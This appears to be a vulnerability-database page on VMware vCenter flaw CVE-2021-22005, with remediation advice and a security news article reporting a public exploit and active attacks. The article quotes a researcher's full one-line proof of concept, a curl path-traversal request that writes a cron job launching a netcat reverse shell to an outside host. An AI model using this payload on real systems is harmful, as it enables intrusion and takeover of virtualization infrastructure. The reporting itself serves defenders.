A PoC exploit for CVE-2021
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2021-22005 | Path Traversal File Upload RCE in VMware vCenter Server (Analytics Service) CVE-2021-22005 is a path-traversal (CWE-23) file upload flaw in the Analytics service of VMware vCenter Server, the central management platform for VMware vSphere environments. An attacker with network access to the server's HTTPS port (443) can send crafted upload requests that traverse directories and write arbitrary files, achieving critical remote code execution on the vCenter host (VMware rated the flaw critical; this dataset's CVSS field was still pending). Successful exploitation gives attackers control of the vSphere management plane and, in practice, the ESXi hosts and virtual machines it manages, making it a high-value target for ransomware operators. All on-premises vCenter Server deployments of the affected versions are exposed, with internet-reachable instances at greatest risk since network access to port 443 is the only prerequisite. The flaw was added to CISA's Known Exploited Vulnerabilities catalog on 2021-11-03 with known ransomware use, EPSS assigns a ~100% (100th percentile) probability of exploitation within 30 days, and no public proof-of-concept was known at the time of this dataset. Do: Upgrade to the fixed releases in VMware advisory VMSA-2021-0020 (vCenter Server 7.0 U2c, 6.7 U3o, or 6.5 U3q), or apply the vendor workaround of disabling the Analytics service if patching must be delayed. Restrict exposure of port 443 to untrusted networks, and hunt exposed vCenter servers for compromise indicators (webshells, unexpected accounts or processes) since exploitation is confirmed and ransomware campaigns are known to use this flaw. | 9.8 | 100% | KEV ransomware PoC |
| largetens of thousands of internet-exposed vCenter servers (hundreds of thousands of deployments overall) |
Full article514 words · extracted from securityaffairs.com · click to collapse
Pierluigi Paganini
September 28, 2021
An exploit for the recently disclosed CVE-2021-22005 vulnerability in VMware vCenter was publicly released, threat actors are already using it.
A working exploit for the CVE-2021-22005 vulnerability in VMware vCenter is publicly available, and attackers are already attempting to use it in the wild.
VMware recently addressed the critical arbitrary file upload vulnerability CVE-2021-22005, it impacts appliances running default vCenter Server 6.7 and 7.0 deployments.
vCenter Server is the centralized management utility for VMware, and is used to manage virtual machines, multiple ESXi hosts, and all dependent components from a single centralized location.
The vulnerability is due to the way it handles session tokens.
“VMware has released patches that address a new critical security advisory, VMSA-2021-0020. This needs your immediate attention if you are using vCenter Server.” reads the advisory published by the virtualization giant. “The VMSA outlines a number of issues that are resolved in this patch release. The most urgent addresses CVE-2021-22005, a file upload vulnerability that can be used to execute commands and software on the vCenter Server Appliance. This vulnerability can be used by anyone who can reach vCenter Server over the network to gain access, regardless of the configuration settings of vCenter Server.”
While the company urges its customers to immediately apply the security patch to fix the vulnerability, threat actors started scanning the internet for vulnerable systems.
The threat intelligence firm Bad Packets reported that scanning activity for this vulnerability started immediately after the virtualization giant addressed the flaw.
Researchers from BleepingComputer also reported that threat actors have started to exploit CVE-2021-22005 using code released by security researcher Jang.
VMware confirmed it is aware of threat actors exploiting the flaw in the wild.
“The VMSA outlines a number of issues that are resolved in this patch release. The most urgent addresses CVE-2021-22005, a file upload vulnerability that can be used to execute commands and software on the vCenter Server Appliance. This vulnerability can be used by anyone who can reach vCenter Server over the network to gain access, regardless of the configuration settings of vCenter Server.” reads a post published by VMWare.
Now a different exploit code for the vulnerability is circulating online, it allows remote attackers to open a reverse shell on a vulnerable system and execute arbitrary code.
The researcher wvu released an unredacted PoC exploit for CVE-2021-22005 that works against systems with the Customer Experience Improvement Program (CEIP) component enabled (default configuration).
— wvu (@wvuuuuuuuuuuuuu) September 27, 2021CVE-2021-22005: Exploitation in the wild confirmed. Unredacted RCE PoC against CEIP below.
curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh 172.16.57.1 4444" https://t.co/wi08brjl3r pic.twitter.com/bwjMA21ifA
To be clear, these particular endpoints are exploitable only if CEIP is enabled, which is an *opt-out* feature.
— wvu (@wvuuuuuuuuuuuuu) September 24, 2021
Experts have no doubts, the availability of the exploit will cause a spike in the number of attacks targeting systems vulnerable to this vulnerability.
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(SecurityAffairs – hacking, VMware)
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Text extracted automatically; images, tables and formatting may be missing. Original: https://securityaffairs.com/122686/hacking/cve-2021-22005-exploit-vmware-vcenter.html